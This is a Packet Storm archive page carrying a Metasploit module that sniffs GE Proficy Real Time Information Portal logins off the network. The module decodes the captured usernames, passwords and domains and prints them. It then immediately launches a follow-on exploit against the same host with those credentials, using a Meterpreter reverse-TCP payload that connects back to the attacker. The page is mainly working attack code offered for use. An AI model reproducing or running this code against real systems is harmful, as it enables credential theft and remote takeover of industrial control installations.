exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

rtipsniff.rb.txt

rtipsniff.rb.txt
Posted Nov 9, 2008
Authored by H D Moore, Kevin Finisterre | Site metasploit.com

This Metasploit module is a credential leak sniffer for the GE Proficy Real Time Information Portal.

tags | exploit
SHA-256 | 9788f2d35640353df39ddbc0a6e32a572a688684a9eee64d17eb6deecfd827e3

rtipsniff.rb.txt

Change Mirror Download
##
# $Id: rtipsniff.rb
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
# MacbookPro:metasploit kfinisterre$ cd /Users/kfinisterre/Desktop/metasploit; sudo ./msfcli auxiliary/test/rtipsniff INTERFACE=en1 E
# [*] Opening the network interface...
# [*] Sniffing RTIP login requests...
# [*] Proficy RTIP Credentials -> user: Administrator pass: This was base64 encoded domain: ProficySniffTest
#
#
#


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Exploit::Capture

def initialize
super(
'Name' => 'GE Proficy Real Time Information Portal Credentials Leak',
'Version' => '$Revision: 1 $',
'Description' => 'This module sniffs RTIP login requests from the network',
'Author' => ['hdm','kf'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Sniffer' ]
],
'PassiveActions' =>
[
'Sniffer'
],
'DefaultAction' => 'Sniffer'
)
register_options([
OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']),
OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444])
], self.class)
end

def init_hooked_on_fanucs(name,user,pass,domain, rhost, targ = 0)
targ ||= 0
payload='windows/meterpreter/reverse_tcp'
sploit = framework.modules.create(name)

sploit.datastore['USERNAME'] = user
sploit.datastore['PASSWORD'] = pass
sploit.datastore['DOMAIN'] = domain
sploit.datastore['RHOST'] = rhost
sploit.datastore['LPORT'] = datastore['LPORT']
sploit.datastore['LHOST'] = datastore['LHOST']
sploit.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Target' => targ,
'Payload' => payload,
'RunAsJob' => true)
end


def run
username = "a", password = "b", domain = "c"

print_status("Opening the network interface...")
open_pcap()

print_status("Sniffing RTIP login requests...")
each_packet() do |pkt|
next if not pkt.tcp?

if (pkt.payload =~ /\x56\x5d\x72\x2b\x30\xd7\xf2\xc6\x74/)

marker = "\x56\x5d\x72\x2b\x30\xd7\xf2\xc6\x74"
data = pkt.payload

credentials = data.split(marker)[1].split("\x00")
username = credentials[1]
password = credentials[2]
domain = credentials[3].split("\x01")[0]
username = username[1..(username.length-2)]
password = password[1..(password.length-2)].unpack("m")
domain = domain[1..(domain.length-2)]
print_status("Proficy RTIP Credentials -> user: #{username} pass: #{password} domain: #{domain} ip: #{pkt.ip_daddr}")

init_hooked_on_fanucs('exploit/windows/misc/hooked_on_fanucs',"#{username}","#{password}","#{domain}", "#{pkt.ip_daddr}")
end

true
end

print_status("Finished sniffing")
end

end


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close